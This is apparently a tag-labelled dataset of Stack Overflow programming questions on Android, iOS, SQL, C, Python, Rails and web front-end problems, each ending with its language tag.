slide view on top of other view  i m trying to implement a view where one of the views slides on top of another view when the user scrolls. i ve recently noticed that many popular apps employ this technique. the best example comes from the mobile version of the google play store. when you view an app s store listing  the top portion of the activity is a view with a picture or video of the app  and the bottom portion slides over the top portion when the user begins to scroll (see screenshots below). is this available as a library somewhere or is this feature built in-house  i know that slidinguppanel (<a href= https://github.com/umano/androidslidinguppanel  rel= nofollow noreferrer >https://github.com/umano/androidslidinguppanel</a>) does something similar  but based on my somewhat-limited research  their  sliding view  seems to fling to the top or bottom.     so before i jump into it and try to create my own version of this feature  i just wanted to make sure that someone hasn t already invented the wheel.     <a href= https://imgur.com/ywhk9y6  rel= nofollow noreferrer ><img src= https://i.imgur.com/ywhk9y6.jpg  title= source: imgur.com  /></a>    <a href= https://imgur.com/etfrznm  rel= nofollow noreferrer ><img src= https://i.imgur.com/etfrznm.jpg  title= source: imgur.com  /></a>,android
collectionviewlayout sizeforitematindexpath makes the view look blank  i´m trying to implement a collectionviewcontroller  where the images sizes are shown correctly. but when i implement the method  collectionviewlayout sizeforitematindexpath   none of the images are shown. does anybody know why  here is my collectionviewcontroller code:   <pre><code>#import  photosviewcontroller1.h   @interface photosviewcontroller1 ()  @end  @implementation photosviewcontroller1   - (void)viewdidload {      [super viewdidload];     _carimages = [@[@ wild-love.jpg                     @ d919004663f99c934b20c1bd46fcad3e.jpg                      @ 164_v-viergalerie.jpg ] mutablecopy]; }  - (void)didreceivememorywarning {     [super didreceivememorywarning];     // dispose of any resources that can be recreated. }   #pragma mark - #pragma mark uicollectionviewdatasource  -(nsinteger)numberofsectionsincollectionview: (uicollectionview *)collectionview {     return 1; }  -(nsinteger)collectionview:(uicollectionview *)collectionview     numberofitemsinsection:(nsinteger)section {     return _carimages.count; }  -(uicollectionviewcell *)collectionview:(uicollectionview *)collectionview                  cellforitematindexpath:(nsindexpath *)indexpath {     photoscell *mycell = [collectionview                                     dequeuereusablecellwithreuseidentifier:@ mycell                                      forindexpath:indexpath];      uiimage *image;     int row = [indexpath row];      image = [uiimage imagenamed:_carimages[row]];      mycell.imageview.image = image;      return mycell; }   #pragma mark - #pragma mark uicollectionviewflowlayoutdelegate  -(cgsize)collectionview:(uicollectionview *)collectionview layout:(uicollectionviewlayout *)collectionviewlayout sizeforitematindexpath:(nsindexpath *)indexpath {     uiimage *image;     int row = [indexpath row];      image = [uiimage imagenamed:_carimages[row]];      return image.size; }   @end </code></pre>,objective-c
how can i use background image in input checkbox   i want to use background image in checkbox. i have tried something but it doesn t work. i am trying the following.     /* css */   <pre><code>.common_pic input[type=checkbox] {  background: url( images/checkbox.png ) no-repeat scroll left top rgba(0  0  0  0);  display: inline-block;  float: right;  height: 27px;  margin-left: 0;  margin-top: 29px;  width: 27px;  } </code></pre>   html   <pre><code>      &lt;div class= common_pic &gt;              development     &lt;input type= checkbox  name= vehicle  value= car &gt; &lt;/div&gt; </code></pre>,css
how to open shared folder file in local system file explorer using <a href=   > </a> <pre><code> &lt;a href= file://90.0.0.12/mydata/pdffolder/data.pdf &gt;shared file&lt;/a&gt; </code></pre>   above link work in ie but not in chrome and firefox.    how to open above link in my local system file explorer window using above code in chrome and firebox browser,html
fetch weekly data by query in sql server  i have a table which  name is  emp_attendance_new  who kept record of emp attendance.when i fire a query like this who  give particular result.    query:   <pre><code>select atendencedate  emp_id attendance_status  empname   from  emp_attendance_new  where emp_id = 20140160   and  atendencedate between  3/30/2015  and  4/5/2015  </code></pre>   result:   <pre><code>atendencedate   emp_id     attendance_status     empname 2015-03-30  20140160    p           vikash prasad 2015-03-31  20140160    p           vikash prasad 2015-04-01  20140160    p           vikash prasad 2015-04-02  20140160    p           vikash prasad 2015-04-03  20140160    p           vikash prasad 2015-04-04  20140160    p           vikash prasad </code></pre>   but i want only  the result in only single row  like this:   <pre><code>emp_id      empname        2015-03-30    2015-03-31  2015-04-01   2015-04-02    2014016   vikash prasad       p            p            p           p </code></pre>,asp.net
attr_protected only for updates   i want to be able to protect the email field of an account from being updated  but not when the account record is first created.    i tried the following:   <pre><code>validate :email_is_unchanged  :on =&gt; :update def email_is_unchanged     errors.add :email   can only be changed through confirmation  if email_changed  end </code></pre>   but when i try to do the following (with an existing record in the database):   <blockquote>    a = account.first        a.update_attributes({:email =>    email@example.com )}  </blockquote>   it returns true but doesn t save the record. inspection of the errors shows that the error from the validation method was added.    is there a better way to do this,ruby-on-rails
how to attach one sqlcachedependency to several cache item  <pre><code>sqlconnection sqlconn = new sqlconnection(m_connectionstring); m_cmd = sqlconn.createcommand(); m_cmd.commandtext =  select id name from dbo.instances ; m_cmd.notification = null; sqlcachedependency cachedepen = new sqlcachedependency(m_cmd);  using (sqldataadapter sda = new sqldataadapter(m_cmd))  {      dataset ds = new dataset();      sda.fill(ds   instance );      cache.insert( instance   ds.tables[ instance ] cachedepen);      cache.insert( timenow   datetime.now.tolongtimestring()  cachedepen); } </code></pre>   i m create a web application by sqlcachedependency  sql server makes use of service broker to notify me when data was updated. it throw exception  an attempt was made to reference a cachedependency object from more than one cache entry  at last two line. what should i do for the exception,asp.net
how is it possible to store an integer in a character variable   how can char variable data2 in the program below store an integer value    <pre><code>#include &lt;stdio.h&gt; int main() {    int data1 = 1230;             //initialize data1 with 1230    char data2 = data1;           //initialize data2 variable with data1 variable    printf( data2 = %x\n  data2);         // print data2 variable    printf( data1 = %x\n  data1);         // print data1 variable    printf( data2 size = %d\n  sizeof(data2)); //print size of data2 variable    return 0; }   answer: data2 = ffffffce data1 = ffffffce data2 size = 1 </code></pre>,c
should i be using <form> instead of <table> here   i am trying to create a collection of fields. these fields will need to be validated with jquery. so that i can display an alert e.g. field is empty.  then i will need to take the numbers entered into each field  &amp; multiply them  etc  in php (to keep the formulas private) . should i be using  <code>&lt;form&gt;</code> instead of <code>&lt;table&gt;</code> here     <pre><code>&lt;table class= no-top-border &gt;             &lt;tr class= no-top-border &gt;                 &lt;td class= quarter-width field-label hide-mobile no-top-border &gt;                     &lt;label for= material &gt;operation type&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value no-top-border &gt;                     &lt;p class= show-mobile mobile-label &gt;operation type&lt;/p&gt;                     &lt;select name= is_robotic  id= is_robotic &gt;                         &lt;option value= 1 &gt;robotic welding&lt;/option&gt;                         &lt;option value= 0 &gt;manual welding&lt;/option&gt;                     &lt;/select&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;                                        &lt;/tr&gt;              &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= number_of_welds &gt;number of welds&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;number of welds&lt;/p&gt;                     &lt;input autocomplete= off  type= number  id= number_of_welds  name= number_of_welds  class= calculator-field yellow-bg first-inputs  title= enter number of welds  min= 0  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= number_of_construction_welds &gt;number of construction welds&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;number of construction welds&lt;/p&gt;                     &lt;input autocomplete= off  type= number  id= number_of_construction_welds  name= number_of_construction_welds  class= calculator-field yellow-bg first-inputs  title= enter number of construction welds  min= 0  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;strong&gt;quantity of parts to load&lt;/strong&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;&amp;nbsp;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;under 1kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;under 1kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= load_weight_1  id= load_weight_1  class= calculator-field green-bg first-inputs  title= enter weight to load under 1 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;between 1kg and 8kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;between 1kg and 8kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= load_weight_2  id= load_weight_2  class= calculator-field green-bg first-inputs  title= enter weight to load between 1 kg and 8 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;between 8kg and 12kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;between 8kg and 12kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= load_weight_3  id= load_weight_3  class= calculator-field green-bg first-inputs  title= enter weight to load between 8 kg and 12 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;strong&gt;quantity of parts to unload&lt;/strong&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;&amp;nbsp;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;under 1kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;under 1kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= unload_weight_1  id= unload_weight_1  class= calculator-field green-bg first-inputs  title= enter weight to unload under 1 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;between 1kg and 8kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;between 1kg and 8kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= unload_weight_2  id= unload_weight_2  class= calculator-field green-bg first-inputs  title= enter weight to unload between 1 kg and 8 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= holes &gt;between 8kg and 12kg&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;between 8kg and 12kg&lt;/p&gt;                     &lt;input autocomplete= off  type= number  name= unload_weight_3  id= unload_weight_3  class= calculator-field green-bg first-inputs  title= enter weight to unload between 8 kg and 12 kg  min= 0  placeholder= (optional)  /&gt;                     &lt;p class= error-text &gt;&lt;/p&gt;                 &lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td class= hide-mobile &gt;&lt;/td&gt;                 &lt;td&gt;&lt;button id= clear-button  class= btn-red &gt;clear all data&lt;/button&gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr class= no-borders &gt;                 &lt;td colspan= 2  class= no-borders &gt;&lt;hr&gt;&lt;/td&gt;             &lt;/tr&gt;              &lt;tr class= no-top-border &gt;                 &lt;td class= field-label hide-mobile no-top-border &gt;                     &lt;strong&gt;outputs&lt;/strong&gt;                 &lt;/td&gt;                 &lt;td class= field-value no-top-border &gt;&amp;nbsp;&lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= loading_unloading &gt;loading / unloading&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;loading / unloading&lt;/p&gt;                     &lt;input autocomplete= off  name= loading_unloading  id= loading_unloading  type= text  readonly= readonly  class= calculator-field  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= robot_addr_in_out &gt;robot address in / out&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;robot address in / out&lt;/p&gt;                     &lt;input autocomplete= off  name= robot_addr_in_out  id= robot_addr_in_out  type= text  readonly= readonly  class= calculator-field  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= weld_time &gt;weld time&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;weld time&lt;/p&gt;                     &lt;input autocomplete= off  name= weld_time  id= weld_time  type= text  readonly= readonly  class= calculator-field  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= controlling_cycle &gt;controlling cycle&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;controlling cycle&lt;/p&gt;                     &lt;input autocomplete= off  name= controlling_cycle  id= controlling_cycle  type= text  readonly= readonly  class= calculator-field  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;              &lt;tr&gt;                 &lt;td colspan= 2 &gt;&amp;nbsp;&lt;/td&gt;             &lt;/tr&gt;               &lt;tr&gt;                 &lt;td class= field-label hide-mobile &gt;                     &lt;label for= total_time &gt;total time &lt;small&gt;(secs)&lt;/small&gt;&lt;/label&gt;                 &lt;/td&gt;                 &lt;td class= field-value &gt;                     &lt;p class= show-mobile mobile-label &gt;total time &lt;small&gt;(secs)&lt;/small&gt;&lt;/p&gt;                     &lt;input autocomplete= off  name= total_time  id= total_time  type= text  readonly= readonly  class= calculator-field  /&gt;                 &lt;/td&gt;             &lt;/tr&gt;                  &lt;tr&gt;                 &lt;td class= hide-mobile &gt;&lt;/td&gt;                 &lt;td&gt;&lt;button id= spot-welding-calculate-button   class= btn-blue &gt;calculate cycle time&lt;/button&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt; </code></pre>,html
about sql get date  when i use    <pre><code>date_part( year   min(child.dob) - father.dob) as age </code></pre>   it reports    <blockquote>    error: function pg_catalog.date_part(unknown  integer) does not exist  </blockquote>   so how to solve the question     thanks,sql
validating whether raw input is an integer and greater than zero simultaneously in python  i m trying to complete a program that will determine whether a number is prime our not. i am trying to add a piece of code that will validate whether user input is both an integer and if so  whether it s a positive integer. i want it to check both of these at the same time  as previously i had it check whether it was an integer first  then check if the number was positive  but if someone entered a string on their second try it caused an error. my code is below:   <pre><code>import math  def is_prime(integer):     if integer &lt; 2:         return false     elif integer == 2:         return true     elif not integer &amp; 1:         return false     for x in range(3  int(integer**0.5) + 1  2):         if integer % x == 0:             return false     return true  while true:     value = input( please enter a positive integer:  )     try:         integer = int(value)         if integer &gt;= 0:             break         else:             print( the integer must be positive  try again. )     except valueerror:         print( this is not an integer  try again. )  if is_prime(integer) == false:     print  %d is not a prime number.  % integer if is_prime(integer) == true:     print  %d is a prime number!  % integer </code></pre>   i m trying to use a while loop to tell the user that their input is invalid  and then ask for input again. any ideas  thanks!    edit: if i enter a string  i get the following:   <pre><code>&gt;&gt;&gt; python ex19.1.py please enter a positive integer: abcd traceback (most recent call last):   file  ex19.1.py   line 16  in &lt;module&gt;     value = input( please enter a positive integer:  )   file  &lt;string&gt;   line 1  in &lt;module&gt; nameerror: name  abcd  is not defined </code></pre>,python
error on define grid view  error is remove one grid view   <pre><code>protected void dropdwnfilter_selectedindexchanged(object sender  eventargs e) {     if (dropdwnfilter.selecteditem.value ==  usd )     {         sqlcommand cmd = new sqlcommand(( select name prize*50 detail from product )  con);         sqldataadapter adapter = new sqldataadapter(cmd);         dataset ds = new dataset();         adapter.fill(ds);         gridview1.datasource = ds;         gridview1.databind();     }     else     {         sqlcommand cmd = new sqlcommand(( select * from product )  con);         sqldataadapter adapter = new sqldataadapter(cmd);         dataset ds = new dataset();         adapter.fill(ds);         gridview1.datasource = ds;         gridview1.databind();     } } </code></pre>   i try this .basically wht i need if user go with usd(doller) then prize multiple with 50 and if he goes with another he get same prize,asp.net
replacing a word in a text by another given word  i have this code here   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; #include&lt;conio.h&gt;  void main() {   char s[] =  all work and no play makes jack a dull boy. ;   char word[10] rpwrd[10] str[10][10];   int i=0 j=0 k=0 w p;    printf( all work and no play makes jack a dull boy.\n );   printf( \nenter which word is to be replaced\n );   scanf( %s  word);   printf( \nenter by which word the %s is to be replaced\n  word);   scanf( %s  rpwrd);   p=strlen(s);    for (k=0; k&lt;p; k++)     {       if (s[k]!=   )         {           str[i][j] = s[k];           j++;         }       else         {           str[i][j]= \0 ;           j=0; i++;         }     }    str[i][j]= \0 ;   w=i;    for (i=0; i&lt;=w; i++)     {       if(strcmp(str[i] word)==0)         strcpy(str[i] rpwrd);        printf( %s   str[i]);     }   getch(); } </code></pre>   how can i replace the word just  jack   like    output:   <pre><code>all work and no play makes jack a dull boy.  enter ther word jack to be replaced mark tom  all work and no play makes mark a dull boy. all work and no play makes tom a dull boy. </code></pre>   without search the whole sentence.    thx,c
cannot find symbol in simple and slightly redundant code  when i compile this code it gives me the error: cannot find symbol > investmentamount in the last segment. if i take out said segment:   <pre><code>joptionpane.showmessagedialog(null   the total amount you have to pay after 5 years is    + math.pow(investmentamount(interestrate+1) 5)); </code></pre>   then the rest of the code works  except that i need that segment of the code to pass. if i take out investmentamount in this segment  but keep interestrate  then the code works perfectly  and gives me the amount after five years. why does investmentamount works earlier in the code and not at the end  why does interestrate not mess up the code at the end and investmentamount does  here s the whole code-   <pre><code>import javax.swing.joptionpane;  public class ch3indlabassignment { public static void main( string [] args ) { string investorname = joptionpane.showinputdialog( null   please enter your first and last name ); joptionpane.showmessagedialog(null   your name is   + investorname);  string input = joptionpane.showinputdialog( null   please enter your investment amount ); double investmentamount = double.parsedouble(input); joptionpane.showmessagedialog(null   your investment amount is   + investmentamount);  string input2 = joptionpane.showinputdialog( null   please enter the interest rate as a decimal ); double interestrate = double.parsedouble(input2); joptionpane.showmessagedialog(null   your interest rate is   + interestrate);  joptionpane.showmessagedialog(null   the total amount you have to pay back after 5 years is   + math.pow(investmentamount(interestrate+1) 5)); } } </code></pre>,java
external css - best method for different color for content area on 1/2 the site  i m learning external css.      i have a css file that is working.  the pages use a background image and a content color.    i want to use a different content color as the background for photos--- about 1/2 of the pages in the site.  i want it to be in ext css (not a page style)  in case i want to change the color in the future.      what is the best practice when everything else in the css will be the same for all pages  except for the content color       please give a  grade school  answer telling me exactly what i ll need to do.  i m still learning terminology  so your clarity will really help me.    thank you.,css
how to write a conditional operator ( :) without using else  while programming in c  i am using conditional operator ( :). but i don t want to use else part.    <pre><code>if(x!=1){printf( hello );} </code></pre>   how can i write using conditional operator,c
how toc change class in element angular js   i have html code:   <pre><code>&lt;span id= id_1  ng-click= checkactivity(1)  class= item list-category-item  active  &gt;bga &lt;/span&gt; </code></pre>   how to change css class of element inside:   <pre><code>$scope.checkactivity = function(id){} </code></pre>,angularjs
how to overcome the following issue using mysql   hello i am using the following version of mysql:   <pre><code>your mysql connection id is 3 server version: 5.7.18 homebrew </code></pre>   i am trying to use the following command to load a csv as follows:   <pre><code>   mysql&gt; load data local infile  /users/adolf/downloads/db2.csv  into table info; </code></pre>   however i am getting the following error:   <pre><code>    error 1148 (42000): the used command is not allowed with this mysql version </code></pre>   so i really would appreciate support to overcome that issue,mysql
how to save unique image name in document directory  in my ios app i am stuck on a task. i need to take pic from camera and save it on document directory.problem is that i want save unique name of image.i was try to add current time with a name. but there are length  problem to save image.please suggest me how can i do that task.    thanks,ios
how to create viewbased application in xcode 4.2 without using storyboard   i am a neewbie in iphone develement  i am trying to create single view application using xcode 4.2   i want to move from one view to another  view . is there any way to push view from one to other without using storyboard,iphone
using two viewstubs in one layout in android  i am using viewstub for layout inflating in android. how can i use two viewstubs in one layout for inflating two different layouts,android
iterate mysql fileds and update fields  my data in tables contains some spaces  so i am using this command to trim it   <pre><code>update results set field1 = trim(field1); </code></pre>   i am doing this manually for all the fields.    can anyone provide me with a common sql  to automatically trim the total number of fileds in a table     thanks,mysql
run time error : can t create handler inside thread that has not called looper.prepare()  i have written the following code to display the first page and then after 5 seconds  it will display the main menu. however  i got the error  can t create handler inside thread that has not called looper.prepare() . what s it about and how to solve it  `   <pre><code>public class loadingscreen extends screen{     public loadingscreen(mbgame game) {     super (game);    }         @override       public void update(float deltatime) {         graphics g = game.getgraphics();         assets.firstpage = g.newpixmap( first_page.png   pixmapformat.rgb565);         game.setscreen(new startupscreen(game));         new asynctask&lt;object  object  object&gt;() {               protected object doinbackground(object... params) {                 try {                     looper.prepare();                    thread.sleep(5000000);                    looper.loop();                    } catch (interruptedexception e) {                      // exception handling                 }                  return (object)null;              }               protected void onpostexecute(object result) {                // this runs on ui thread                game.setscreen(new mainmenuscreen(game));               }          }.execute((object) null);                     }             @override            public void present(float deltatime) {         }             @override            public void pause() {         }             @override            public void resume() {         }             @override            public void dispose() {               }  } </code></pre>   thank you.,android
how do i sort custom date in mysql   i have a column named <code>date</code>  in which are memorialized romanian dating system. for instance: 12 decembrie 2013  it means 12 decembre 2013  or 11 aprile 2014 it means 11 april 2014.     this way does not sort correctly:    <pre><code>select `date` from articles order by date(`date`) asc </code></pre>   i m asking you if is there any way to sort my column after date  the idea is that somehow my date system to be converted after universal system as sort it after it. but i don t know how  <strong>update</strong> the months   <pre><code>ianuarie  =&gt; january februarie =&gt; february martie    =&gt; march aprilie   =&gt; april mai       =&gt; may iunie     =&gt; june iulie     =&gt; july august    =&gt; august septembrie =&gt; september octombrie  =&gt; octomber noiembrie  =&gt; november decembrie  =&gt; december </code></pre>   update. thx to exussum  this is the solution:   <pre><code>select * from articles order by str_to_date ( replace(     replace(         replace(             replace(                 replace(                     replace(                         replace(                             replace(                                 replace(                                     replace(                                         replace(                                             replace(`date`  ianuarie   january )                                           februarie    february )                                       martie    march )                                   aprilie   april )                               mai   may )                           iunie   june )                       iulie   july )                   august   august )               septembrie   september )           octombrie   october )       noiembrie   november )   decembrie   december )   %d %m %y ) desc ; </code></pre>,mysql
how do i use a sql function inside my sql query  suppose that i have a sql function called <code>magic</code> that returns the magical value of a number.    suppose further that i want to write a sql query that will return a list of numbers from a sql table along with their magical values.    my instinct is to write   <pre><code>select number  magic(number) from numbers; </code></pre>   however  this returns the error message `magic is not a recognized function name.  how can i make this work     edit: it looks like magic is set up to be a table-valued function even though it returns only a single value.  my dba will not give me access to any database function code  so i have to work with it that way.,sql
programming a loop in javascript  i want to create a script that when i write a string to check if this string is a number or no if it isn t a number it should give me the input dialogue again  the is the code i tried:   <pre><code>&lt;script&gt;  var nombre; nombre = parseint(prompt( donnez un nombre entre 0 et 999:  )); var nombreisint = false;  while(!nombreisint) {     if(isnan(nombre))         prompt( svp saisie un nombre entre 0 et 999:  );     else         nombreisint = true; }  &lt;/script&gt; </code></pre>   the problem is that when i write a number it gives me the input dialogue again.,javascript
how to use  with  in sql   i am having a problem with this  i have this code   <pre><code>with      a as(select * from cash_denom where curr_sourceid=1 and convert(date curr_entrydate)= 2015-1-28 )      b as (select * from cash_denom where curr_sourceid=2 and convert(date curr_entrydate)= 2015-1-28 ) select * from a  b where a.curr_entrydate=b.curr_entrydate </code></pre>   table a has a result of of 7 rows and table b has also 7 rows but when i run this code it returns me 49 rows why is it like that  it is supposed to be only 14 rows..    <strong>edits/update:</strong>   <pre><code>with      a as(select curr_entrydate date1  curr_denom denom  curr_pieces pcs  curr_total ctotal from cash_denom where curr_sourceid=1 and convert(date curr_entrydate)= 2015-1-28 )      b as (select curr_entrydate date2  curr_denom denom1  curr_pieces pcs1  curr_total ctotal1 from cash_denom where curr_sourceid=2 and convert(date curr_entrydate)= 2015-1-28 )  select a.denom a.pcs a.ctotal b.denom1 b.pcs1 b.ctotal1 from a inner join b on a.date1=b.date2; </code></pre>   by the way i am doing <code>inner join</code> because i want to have 6 columns <code>(denom  pcs ctotal denom1  pcs1 ctotal1)</code> and 14 rows. is this possible .     using union gives me only 4 columns <code>(date2  denom1  pcs1  ctotal1)</code> and 14 rows    <strong>update ii</strong>    the output should be like this:   <pre><code>-------------------------------------------------------  denom  | pcs | ctotal | denom1 | pcs1 | ctotal1 | -------------------------------------------------------  100.00 | 2   | 200.00 | 100.00 | 5    | 500.00  | ------------------------------------------------------- </code></pre>   <a href= http://i.stack.imgur.com/krwgk.png  rel= nofollow >heres the picture</a>    something like that..    thanks in advance..,sql
move scroll according the record in repeater  in my webform i have a repeater control. i have a button to open pop up also. this pop up contains all records which are coming up in the parent window. on selecting the record i have to move the scrollbar of parent window for the location of the record.    any suggestion,asp.net
query tuning - multiple join conditions using likes  i ve hit a bit of a situation and my novice level sql experience has met it s match.    i have a query    <pre><code>select a.one       a.two       a.three       a.four       b.one       b.two from table1 a inner join table2 b on b.four = a.nine         and b.six like a.one         and b.seven like b.two </code></pre>  <ul> <li>table1 is 25000 rows </li> <li>table2 is 22 million rows</li> <li>like clause works like this  test%   so it should utilize the indexes i have and i don t think i need a full text index because its trailing and not preceding.</li> <li>i have an index that exists and works very efficiently when i use a straight equals instead of a like.</li> </ul>   when i look at the query plan  i see that i am going through every row in table2 (which i was suprised). how does the inner join work in terms of what gets executed first  does it combine the three columns as the join  or does it join with the first column  then second  then third.    is there a better way to write this query,sql
turn off scientific notation on float  i m trying to display number in standard notation    for example:   <pre><code>float f = 1230000.76 </code></pre>   turns out to be    <pre><code>1.23e+006 </code></pre>,c++
php - how to get a list of class s member function   if i know class s name. is there a way to know class s member function list,php
formatexception: input string was not in the correct format. timerscript.awake () (at assets/scripts/timerscript.cs:19)  i receive an error:   <blockquote>    formatexception: input string was not in the correct format   system.uint64.parse (system.string s  numberstyles style    iformatprovider provider) (at   /users/builduser/buildslave/mono/build/mcs/class/corlib/system/uint64.cs:351)   system.uint64.parse (system.string s) (at   /users/builduser/buildslave/mono/build/mcs/class/corlib/system/uint64.cs:99)   timerscript.awake () (at assets/scripts/timerscript.cs:19)  </blockquote>   below is code:   <pre><code>using system; using unityengine; using unityengine.ui;  public class timerscript : monobehaviour {     public float waittime = 7200000.0f;     public button openbutton;     public ulong lastcheastopen;     public text freecasetext;      void awake()     {         lastcheastopen = ulong.parse(playerprefs.getstring( lastcheast ));     }      private void start()     {         openbutton = getcomponent&lt;button&gt;();          if (!ischeastreddy())         {             openbutton.interactable = false;         }     }      private void update()     {     if (!openbutton.isinteractable())         {             playerprefs.setstring( lastcheast   lastcheastopen.tostring());             if (ischeastreddy())             {                 openbutton.interactable = true;                 return;             }              ulong diff = ((ulong)datetime.now.ticks - lastcheastopen);             ulong m = diff / timespan.tickspermillisecond;             float secondsleft = (float)(waittime - m) / 1000.0f;             int seconds = ((int)secondsleft % 60);             int minutes = ((int)secondsleft / 60) % 60;             int hours = ((int)secondsleft / 3600) % 24;              string timerstring = string.format( {0:0}h {1:00}mim {2:00}sec   hours  minutes  seconds);             freecasetext.text = timerstring;         }     }       public void okcklickbutton()     {         lastcheastopen = (ulong)datetime.now.ticks;         playerprefs.setstring( lastcheast   lastcheastopen.tostring());         playerprefs.save();         openbutton.interactable = false;        // lastcheastopen = ulong.parse(playerprefs.getstring( lastcheast ));     }      private bool ischeastreddy()     {         ulong diff = ((ulong)datetime.now.ticks - lastcheastopen);         ulong m = diff / timespan.tickspermillisecond;         float secondsleft = (float)(waittime - m) / 1000.0f;          if (secondsleft &lt; 0)             return true;          return false;     } } </code></pre>,c#
ios store reviews discrepancies between itunes and web reviews  i have an app that i ve launched and the reviews that are being displayed in the itunes store are different than those i m seeing in the web version of the itunes store. any one have any clue why they d be drawing off two different databases of reviews     thanks    shan,ios
how to pass parameter through form_for when it involves more than models  i am pretty new to rails and trying to create an application by myself for todo list.    how to pass the parameters  category name  and  task description  in the below form.    users/show/html.erb   <pre><code>&lt;aside class= col-md-8 &gt;   &lt;section&gt;     &lt;%= render  tasks/new  %&gt;&lt;br&gt;    &lt;/section&gt;   &lt;section&gt;      &lt;% if @user.tasks.any  %&gt;       &lt;ol class= tasks &gt;         &lt;%= render @tasks %&gt;       &lt;/ol&gt;     &lt;% end %&gt;   &lt;/section&gt; &lt;/aside&gt; </code></pre>   tasks/new.html.erb   <pre><code>    &lt;div class= form-inline &gt;   &lt;%= form_for([@user  @user.tasks.build]) do |f| %&gt;             &lt;select id= selectuser  class= form-control selectwidth &gt;         &lt;option class=  &gt;select category&lt;/option&gt;           &lt;% @user.categories.all.each do |category| %&gt;             &lt;option class=  &gt;               &lt;%= category.name %&gt;             &lt;/option&gt;           &lt;% end %&gt;       &lt;/select&gt;                     &lt;%= f.label :description %&gt;         &lt;%= f.text_area :description  class:  form-control  %&gt;             &lt;%= f.submit %&gt;     &lt;% end %&gt; &lt;/div&gt; </code></pre>   controllers/tasks_controller   <pre><code>    class taskscontroller &lt; applicationcontroller   def create    @user = user.find(params[:id])    @category = category.find_by(name: params[:category])     @task = @user.tasks.create(task_params)    redirect_to user_path(@user)  end    private    def task_params     params.require(:task).permit(@category.name  :description)   end   end </code></pre>   column from tasks table are   <ol> <li>id</li> <li>description</li> <li>user_id (reference with users table)</li> <li>category_id (reference with categories table)</li> </ol>   